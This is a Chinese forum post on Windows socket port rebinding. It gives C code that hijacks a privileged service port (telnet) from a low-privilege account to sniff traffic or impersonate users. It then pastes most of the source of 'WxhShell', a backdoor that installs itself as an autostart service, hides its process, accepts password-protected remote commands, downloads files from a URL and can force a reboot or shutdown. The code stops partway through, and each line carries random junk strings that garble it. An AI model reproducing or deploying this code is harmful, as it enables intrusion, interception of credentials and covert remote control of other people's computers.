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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bs?4|#[K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _,-\;  
dQ<e}wtg  
  saddr.sin_family = AF_INET; x}reeqn  
Ja@ ?.gW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H@k$sZ.  
-OfAl~ 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UB% ;P-RD  
\OK}DhY#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xlW>3'uHfa  
Me;Nn$'%  
  这意味着什么?意味着可以进行如下的攻击: H"2,Q T  
52.hJNq#L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VrFI5_M/  
)9!ZkZbv_m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a$6pA@7}  
Io_7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z \ -  
(Pt*|@i2c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _&xkj8O  
D,uT#P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y|wR)\  
ACgWT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rO1.8KKJ  
jqoU;u`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U(:t$SBKy  
#- d-zV*  
  #include } x'o`GuUf  
  #include  +!wkTrV  
  #include %,)Xi  
  #include    y"nC T3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mz6|#P}.s  
  int main() Z ?w=-  
  { UX'tdB !A  
  WORD wVersionRequested; @gJPMgF$F  
  DWORD ret; aII:Pzh]B  
  WSADATA wsaData; @;d7#!:cE  
  BOOL val; NMP*q @  
  SOCKADDR_IN saddr; /bqJ6$  
  SOCKADDR_IN scaddr; @(rLn  
  int err; rX&?Xi1JeV  
  SOCKET s; `P9%[8`C 9  
  SOCKET sc; sY'dN_F  
  int caddsize; ;WL0  
  HANDLE mt; 6IM:Xj  
  DWORD tid;   P99s   
  wVersionRequested = MAKEWORD( 2, 2 ); m3_)UIJZ  
  err = WSAStartup( wVersionRequested, &wsaData ); #DH eEE  
  if ( err != 0 ) { niM(0p  
  printf("error!WSAStartup failed!\n"); t]pJt  
  return -1; &44?k:  
  } ]^l-k@  
  saddr.sin_family = AF_INET; Xc]Q_70O  
    Qp>Q-+e0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H0mDs7  
_n< @Jk~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VnMiZAHR  
  saddr.sin_port = htons(23); E}=F   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~3m} EL  
  { Ga^k1TQq  
  printf("error!socket failed!\n"); <4Cy U j  
  return -1; knZ<V%/e  
  } 1uhSP!b  
  val = TRUE; i'vjvc~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oI%.oP}G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  \R<OT%8  
  { 8f|+045E@  
  printf("error!setsockopt failed!\n"); .DHRPel  
  return -1; SkA"MhX  
  } '~'3x4Bo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @BXV>U2B{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %|3UWN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Eh f{Kl  
b ~FmX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aD3Q-a[  
  { KHXnB  
  ret=GetLastError(); pG:)u cj  
  printf("error!bind failed!\n"); u@zBE? g  
  return -1; r7p>`>_Q\  
  } M3 $MgsN:  
  listen(s,2); LHP?!rO0  
  while(1) $rE_rZ+]="  
  { 1YMu\(  
  caddsize = sizeof(scaddr); x; *KRO  
  //接受连接请求 bwh.ekf8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qT L@N9  
  if(sc!=INVALID_SOCKET) GQ9g$&T  
  { D<cHa |  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V]9 ?9-r  
  if(mt==NULL) 3bPvL/\Lb  
  { 'H,l\i@"  
  printf("Thread Creat Failed!\n"); K<+h/Ok  
  break; nS1 D&;#Y  
  } `_v|O{DC{  
  } 1%6}m`3  
  CloseHandle(mt); VN8ao0^d;d  
  } mWM!6"  
  closesocket(s); ZK]C!8\2|  
  WSACleanup(); z<mU$<  
  return 0; [(N<E/m%B  
  }   %fz!'C_4  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ie?C<(8Ul  
  { Z`b{r;`m8  
  SOCKET ss = (SOCKET)lpParam; ^T|~L<A3  
  SOCKET sc; <tg>1,C  
  unsigned char buf[4096]; %/&?t`%H  
  SOCKADDR_IN saddr; f/qG:yTV`  
  long num; w#,C{6  
  DWORD val; b=+'i  
  DWORD ret; ?o9g5Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /P0%4aWu=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cv["Ps#;`W  
  saddr.sin_family = AF_INET; aNCIh@m~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wy$9QN  
  saddr.sin_port = htons(23); # -Ts]4v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UpS`KgF"v  
  { !}^ {W)h[  
  printf("error!socket failed!\n"); ZWSYh>"  
  return -1; OE/O:F:1j  
  }  P-QZ=dm  
  val = 100; ]W%<<S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v }ZQC8wL  
  { eg-,;X#  
  ret = GetLastError(); eJ#q! <   
  return -1; ``}EbOMG  
  } fNx3\<~V=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dg 4 QA_"  
  { g%Ap<iT  
  ret = GetLastError(); _S#uxgL<  
  return -1; }4kd=]Nk  
  } T0Q)}%L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?j8F5(HF?  
  { B@l/'$G  
  printf("error!socket connect failed!\n"); 2, ` =i  
  closesocket(sc); 0> m-J  
  closesocket(ss); Nq)=E[$  
  return -1; n ||/3-HDj  
  } FHI` /  
  while(1) RI"A'/56  
  { -lm\~VZT3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Jn. WbS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g~Zel}h#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,\f!e#d  
  num = recv(ss,buf,4096,0); Qe=!'u.nL  
  if(num>0) `|;R}"R;  
  send(sc,buf,num,0); [= -?n6  
  else if(num==0) ~fE@]~f>  
  break; _d&FB~=  
  num = recv(sc,buf,4096,0); wg*2mo  
  if(num>0) },'2j  
  send(ss,buf,num,0); : \w\K:  
  else if(num==0) @ Sw[+`  
  break; ]dc^@}1bN  
  } A\_cGM2  
  closesocket(ss); 2hl'mRW  
  closesocket(sc); XU .FLNe  
  return 0 ; WLEjRx  
  } RJ1 Q.o  
-1~bWRYq  
Qj?FUxw  
========================================================== $z]gy]F  
g#;w)-Zj  
下边附上一个代码,,WXhSHELL l-"$a8jn2  
mV} peb  
========================================================== Q9Wa@gi|  
1j<=TWit  
#include "stdafx.h" VAF+\Cea=  
t7("geN]  
#include <stdio.h> }N1Z7G  
#include <string.h> jx&pRjP  
#include <windows.h> ]C-hl}iq  
#include <winsock2.h> ]%3o"|  
#include <winsvc.h> g6k@E,cI_  
#include <urlmon.h> `ej  
2;NIUMAMM  
#pragma comment (lib, "Ws2_32.lib") Q uy5H  
#pragma comment (lib, "urlmon.lib") Kgi%Nd  
`(?E-~#'  
#define MAX_USER   100 // 最大客户端连接数 qIa|sV\w0  
#define BUF_SOCK   200 // sock buffer H~1*`m  
#define KEY_BUFF   255 // 输入 buffer -#H>kbs  
Bhl@\Kq  
#define REBOOT     0   // 重启 Ft>Abj,6  
#define SHUTDOWN   1   // 关机 $6T*\(;T@A  
,YJ\ $?  
#define DEF_PORT   5000 // 监听端口 Q_xE:#!;  
EUU9JnQhBJ  
#define REG_LEN     16   // 注册表键长度 C+$dm)M/q  
#define SVC_LEN     80   // NT服务名长度 PBb@J'b  
>n)N=Zyu  
// 从dll定义API V4}9f5FR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HjV3PFg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -4o6 OkK<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L{;q^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qCn(~:  
I3D8xl>P\  
// wxhshell配置信息 Sb+pB58&N  
struct WSCFG { l)fF)\|;=  
  int ws_port;         // 监听端口 Q i#%&Jz>f  
  char ws_passstr[REG_LEN]; // 口令 Z16G  
  int ws_autoins;       // 安装标记, 1=yes 0=no WaQCq0Enj  
  char ws_regname[REG_LEN]; // 注册表键名 s!``OyI/Z  
  char ws_svcname[REG_LEN]; // 服务名 b&B<'Wb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #[C |%uq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8l0%:6XbI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gd-4hR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2GA6@-u\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~S15tZ $  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .HF+JHIUu  
%p)6m 2Sb  
}; |j$&W;yC  
IY?[0S  
// default Wxhshell configuration 3Ln~"HwP  
struct WSCFG wscfg={DEF_PORT, V= U=  
    "xuhuanlingzhe", a;D{P`%n  
    1, ~sshhuF  
    "Wxhshell", Glcl7f"<^  
    "Wxhshell", &xMR{:  
            "WxhShell Service", ={-\)j  
    "Wrsky Windows CmdShell Service", R3<>]/1p|P  
    "Please Input Your Password: ", c 's=>-X  
  1, 7-.Y VM~R  
  "http://www.wrsky.com/wxhshell.exe", ?N<* ATC L  
  "Wxhshell.exe" 6]rIYc[,  
    }; k5]s~* ,0  
e'mm42  
// 消息定义模块 #.UooFk+Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (EGsw o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mnu4XE#|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; So\(]S  
char *msg_ws_ext="\n\rExit."; Q5b?- P  
char *msg_ws_end="\n\rQuit."; N&U=5c`Q'  
char *msg_ws_boot="\n\rReboot..."; i)g=Lew  
char *msg_ws_poff="\n\rShutdown..."; 2@@OjeANsX  
char *msg_ws_down="\n\rSave to "; LX'.up11X5  
\B8tGog  
char *msg_ws_err="\n\rErr!"; z;@;jQ7  
char *msg_ws_ok="\n\rOK!";  pI|Lt  
uuHR!  
char ExeFile[MAX_PATH]; 3:7J@>  
int nUser = 0; -z./6dQ  
HANDLE handles[MAX_USER]; o {Sc  
int OsIsNt; j{SRE1tqh  
{$)zC*l  
SERVICE_STATUS       serviceStatus; r5> FU>7'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _?kjIF  
p<*3mbgGO  
// 函数声明 -gefdx6ES  
int Install(void); k`U")lv  
int Uninstall(void); xGCW-YR9  
int DownloadFile(char *sURL, SOCKET wsh); !*ct3{m  
int Boot(int flag); pw" !iG}  
void HideProc(void); M.))UKSF  
int GetOsVer(void); $As;Tvw.  
int Wxhshell(SOCKET wsl); @ |v4B[/  
void TalkWithClient(void *cs); <61T)7  
int CmdShell(SOCKET sock); xV[X#.3  
int StartFromService(void); OF&{mJH"g'  
int StartWxhshell(LPSTR lpCmdLine); RiqYC3Ka  
M?Tb9c?`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T_|%n F-+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '8K5=|!J  
"i_I<?aGB  
// 数据结构和表定义 ~+}w>jIm{|  
SERVICE_TABLE_ENTRY DispatchTable[] = t=o0 #jo  
{ lxx)l(&  
{wscfg.ws_svcname, NTServiceMain}, qk;*$Q  
{NULL, NULL} <|[G=GA\S!  
}; 5drc8_fZ  
@H2c77%  
// 自我安装 q`_d>l  
int Install(void) CRf!tsj@  
{ F]DRT6)  
  char svExeFile[MAX_PATH]; W~(@*H  
  HKEY key; "{1`~pDj?  
  strcpy(svExeFile,ExeFile); 8TGO6oY+=  
V TQ V]>|  
// 如果是win9x系统,修改注册表设为自启动 UjxEbk5>^  
if(!OsIsNt) { . >[d:0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8+K=3=05#U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v7&oHOk!  
  RegCloseKey(key); ["Mq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xDU>y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lx$]f)%~  
  RegCloseKey(key); ivDmPHj{  
  return 0; 6x|"1 G{  
    } ' RK .w^  
  } ~sj'GEhEg  
} CZ"~N`  
else { ?,uTH 4  
_L 5<  
// 如果是NT以上系统,安装为系统服务 a,g3 /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s\i:;`l:=5  
if (schSCManager!=0) |& OW_*l  
{ r8>(ayJ,  
  SC_HANDLE schService = CreateService Xmr|k:z  
  ( uvR9BL2=  
  schSCManager, zmd,uhNc:  
  wscfg.ws_svcname, A/V"&H[  
  wscfg.ws_svcdisp, /{@^h#4M1  
  SERVICE_ALL_ACCESS, </! `m8\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^f*}]`S  
  SERVICE_AUTO_START, 1{D_30sG.  
  SERVICE_ERROR_NORMAL, M &`ZF  
  svExeFile, :j_OO5b!  
  NULL, ,p2BB"^_i  
  NULL, #yz5CWu  
  NULL, W <.h@Rz+  
  NULL, bW03m_<M<1  
  NULL ,{DZvif   
  ); f}{ lRk  
  if (schService!=0) *FhD%><  
  { 0kC}qru'  
  CloseServiceHandle(schService); `q =e<$  
  CloseServiceHandle(schSCManager); {6H%4n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GP=i6I6C  
  strcat(svExeFile,wscfg.ws_svcname); |m{Q_zAB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 Z|c!QIU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4#hDt^N~  
  RegCloseKey(key); _ nFsC  
  return 0; YDh6XD<Z  
    } }xhat,9  
  } Zx$q,Zo<  
  CloseServiceHandle(schSCManager); Gt;@. jY&  
} oVi_X98R  
} a(Q4*XH4  
=2+';Xk\  
return 1; 81?7u!=ic+  
} 1$S;#9PQ  
WOqAVd\  
// 自我卸载 ~{69&T}9  
int Uninstall(void) Arvxl(R\4  
{ 5W hR |  
  HKEY key; "p]Fq,  
+!_?f'kv`  
if(!OsIsNt) { _D{zB1d\0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r=57,P(:Ca  
  RegDeleteValue(key,wscfg.ws_regname); jvfVB'Tmr  
  RegCloseKey(key); u=j|']hp#&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2hB';Dv  
  RegDeleteValue(key,wscfg.ws_regname); Mou@G3  
  RegCloseKey(key); +Smt8O<N  
  return 0; Q2^~^'Y k  
  } YA(_*h  
} e|Ip7`  
} "F_o%!l  
else { 6@0 wKV!D  
dFdll3bC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }mGOEG|F2  
if (schSCManager!=0) X`xI~&t_  
{ MYVUOd,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r]!<iw  
  if (schService!=0) 7\.Ax  
  { PT2b^PP  
  if(DeleteService(schService)!=0) { >Hh8K<@NL  
  CloseServiceHandle(schService); E>_?9~8Mf  
  CloseServiceHandle(schSCManager);  }qf9ra  
  return 0; *7`N^e  
  } O_ }ZSB8"  
  CloseServiceHandle(schService); e[`E-br^  
  } &uLxA w  
  CloseServiceHandle(schSCManager); !A R$JUnX  
} 6Mpbmfr  
} r 5$(  
*~p~IX{  
return 1; m>po+7"b  
} 9ICC2%j|  
#3uBq(-Z  
// 从指定url下载文件 >z=_V|^$  
int DownloadFile(char *sURL, SOCKET wsh) o;#{N~4[$  
{ W@S'mxk#*  
  HRESULT hr; @ mzf(Aq  
char seps[]= "/"; .3;bUJ1  
char *token; HSt|Ua.c/h  
char *file; kBPFk t2  
char myURL[MAX_PATH]; m7:E7 3:  
char myFILE[MAX_PATH]; 'WqSHb7  
%}z/_QZ  
strcpy(myURL,sURL); xP@VK!sc  
  token=strtok(myURL,seps); !;Mh5*-  
  while(token!=NULL) mwuFXu/  
  { )9,*s !)9  
    file=token; 2>{_O?UN  
  token=strtok(NULL,seps); \L#BAB6z  
  } uj.~/W1,!  
Lh=~3  
GetCurrentDirectory(MAX_PATH,myFILE); WY@x2bBi  
strcat(myFILE, "\\"); 5io7!%  
strcat(myFILE, file); JCIm*6~  
  send(wsh,myFILE,strlen(myFILE),0); <`dF~   
send(wsh,"...",3,0); qZ!1>`B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \!UNa le  
  if(hr==S_OK) S"|sD|xOb  
return 0; &77]h%B >  
else ivdw1g|)h  
return 1; y$)gj4k/D  
Q9K+k*?{N  
} Isq3YY  
9Ao0$|@b  
// 系统电源模块 {GF>HHQb  
int Boot(int flag) ^qpa[6D6x  
{ vOYcS$,^X%  
  HANDLE hToken; .js4)$W^  
  TOKEN_PRIVILEGES tkp; '-#6;_ i<  
+n(H"I7cU  
  if(OsIsNt) { ,2>:h"^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b("JgE`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YY I  
    tkp.PrivilegeCount = 1; -X@;"0v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oeXNb4; 4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >J=x";,D|~  
if(flag==REBOOT) { (PYUfiOf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LvpHR#K)F5  
  return 0; T0_9:I`&  
} wAHb 5>!  
else { MCma3^/1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H+zn:j@~L  
  return 0; \Rn.ug  
} AK<ZP?0  
  } x7e  
  else { V,qZF=}S  
if(flag==REBOOT) { ^ v3+w"2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y51XpcXQ  
  return 0; PiB)pUYj  
} }\u~He%  
else { Ja-D}|;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DT&[W<oN  
  return 0; |D^Q}uT  
} , IUMH]D  
} U]sU b3  
(2@b ,w^  
return 1; -b@E@uAX /  
} SX}GKu  
AW'tZF"  
// win9x进程隐藏模块 =nnS X-x  
void HideProc(void) yh_s(>sh  
{ PqcuSb6  
Tu_dkif'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OxF\Hm)(  
  if ( hKernel != NULL ) ZNB*Azi  
  { 3Gn2@`GC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9BANCW"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HkvCQH  
    FreeLibrary(hKernel); c7\bA7.  
  } !U`T;\,v5  
p)ZlQ.d#Y  
return; mUy/lo'4  
} Ao96[2U6  
f.jAJ; N>  
// 获取操作系统版本 6o;lTOes  
int GetOsVer(void) ]CC= \ <  
{ }VR&*UJE  
  OSVERSIONINFO winfo; M _U$I7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BHj]w*Ov  
  GetVersionEx(&winfo); QBto$!})  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `M>{43dj  
  return 1; ](_(1  
  else ,h/0:?R KW  
  return 0; cb%w,yXw  
} q){]fp.,@  
B_cn[?M  
// 客户端句柄模块 W&06~dI1!  
int Wxhshell(SOCKET wsl) _;01/V"q6  
{ y8+?:=N.  
  SOCKET wsh; lRt8{GFy  
  struct sockaddr_in client; 4)j<(5  
  DWORD myID; ]^ O<WD  
ZuS+p0H"  
  while(nUser<MAX_USER) 2L<TqC{,-  
{ ]VJcV.7`  
  int nSize=sizeof(client); 4 d]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;JL@V}L,  
  if(wsh==INVALID_SOCKET) return 1; aDZLabRu  
A#1y>k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =r0!-[XCa  
if(handles[nUser]==0) [RpFC4W  
  closesocket(wsh); [JAd1%$3  
else D'nV &m  
  nUser++; N=I5MQG  
  } b!.# `.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jy|Mfl%d  
+}+hTY$a  
  return 0; C)C;U&Qd  
} }Xc|Z.6  
e9B,  
// 关闭 socket RTl7vzG  
void CloseIt(SOCKET wsh) rkD4}jV  
{ 8%xtb6#7M  
closesocket(wsh); },Z -w_H  
nUser--; SbI,9<  
ExitThread(0); 4|+ |L_  
} ;,4J:zvZdQ  
|u}sX5/q  
// 客户端请求句柄 Cn`% *w  
void TalkWithClient(void *cs) uk'<9g^  
{ Cz a)s  
9hguC yr@h  
  SOCKET wsh=(SOCKET)cs; ~r>UjC_ B:  
  char pwd[SVC_LEN]; Mvcl9  
  char cmd[KEY_BUFF]; F 1zc4l6  
char chr[1]; 2Qk\}KWs  
int i,j; (/KF;J^M  
&0C!P=-p  
  while (nUser < MAX_USER) { i{e<kKh  
`UJW:qqW  
if(wscfg.ws_passstr) { {(MG: B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1b!l+ 8!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rw\DJJrz  
  //ZeroMemory(pwd,KEY_BUFF); ud#8`/!mq  
      i=0; &1u ?W%(Px  
  while(i<SVC_LEN) { :<(<tz7dj  
*xjIl<`pK  
  // 设置超时 ~Igo 8ykl  
  fd_set FdRead; RI*%\~6t?  
  struct timeval TimeOut; L"-&B$B:  
  FD_ZERO(&FdRead); C4cg,>P7  
  FD_SET(wsh,&FdRead); PQ(%5c1e  
  TimeOut.tv_sec=8; *|3z($*U]  
  TimeOut.tv_usec=0; v4.V%tg!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q?;ntzi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }N|/b"j9  
e.kt]l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uA,{C%?  
  pwd=chr[0]; 6FmgK"t8  
  if(chr[0]==0xd || chr[0]==0xa) { 2bC%P})m  
  pwd=0; PJ.jgN(r  
  break; Z)&HqqT3p  
  } }wb;ulN)  
  i++; ropiyT9;  
    } (1HN, iJy  
0z xeA +U  
  // 如果是非法用户,关闭 socket MtB:H*pM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Dgp !*v=  
} b>(l F%M  
Dm^kuTIG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f:0n-me  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;5l|-&{@*  
[eN{Ft0x  
while(1) { ,5?MRqCM  
W!^=)Qs  
  ZeroMemory(cmd,KEY_BUFF); #e=^-yE  
!58JK f  
      // 自动支持客户端 telnet标准   ~S6N'$^  
  j=0; CYu8J@(\~g  
  while(j<KEY_BUFF) { %G SSy_c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =+L>^w#6=  
  cmd[j]=chr[0]; R{B~Now3  
  if(chr[0]==0xa || chr[0]==0xd) { U,S286  
  cmd[j]=0; p[GyQ2k)  
  break; ?C{N0?[P-  
  } ZM.g +-9  
  j++; f$'D2o, O  
    } }>:X|4]  
lq5E?B  
  // 下载文件 "8]170  
  if(strstr(cmd,"http://")) { c 1GP3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f5-={lUlIS  
  if(DownloadFile(cmd,wsh)) X9j+$X \j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =R"tnjR  
  else N-|Jj?c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bW|y -GM  
  } O5?Eb  
  else { yB1>83!q  
1hWz%c|  
    switch(cmd[0]) { 4{g|$@s(  
  qh 3f  
  // 帮助 xL"% 2nf  
  case '?': { F)w83[5_d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :[39g;V}c  
    break; c53`E U  
  } "U.=A7r  
  // 安装 AF}"  
  case 'i': { _@;N<$&  
    if(Install()) YLo$n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<b0z\  
    else Y5CE#&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '1 $({{R  
    break; ]l'ki8  
    } {@%(0d{n}  
  // 卸载 -`UlntEdZ:  
  case 'r': { s`YuH <8  
    if(Uninstall()) F! e`i-xt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TbVL71c  
    else ^'4uTbxP_!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m~eWQ_a]C@  
    break; bl<7[J.  
    } z;fSd  
  // 显示 wxhshell 所在路径 . 6dT5x8u  
  case 'p': { lz 6 Aj  
    char svExeFile[MAX_PATH]; ^aCYh[=  
    strcpy(svExeFile,"\n\r"); WRyLpTr-  
      strcat(svExeFile,ExeFile); J.l%H U  
        send(wsh,svExeFile,strlen(svExeFile),0); $H}Mn"G  
    break; y~jIA p  
    } X%CPz.G  
  // 重启 L#Y;a 5b  
  case 'b': { |hM)e*"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ={ '($t%|T  
    if(Boot(REBOOT)) ?< QFW#:)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BaAb4{  
    else { :nUsC+oBS  
    closesocket(wsh); bicL %I2h  
    ExitThread(0); Fw m:c[G  
    } I "2FTGA  
    break; |plo65  
    } *Mc\7D  
  // 关机 :t^})%  
  case 'd': { nj`q V  
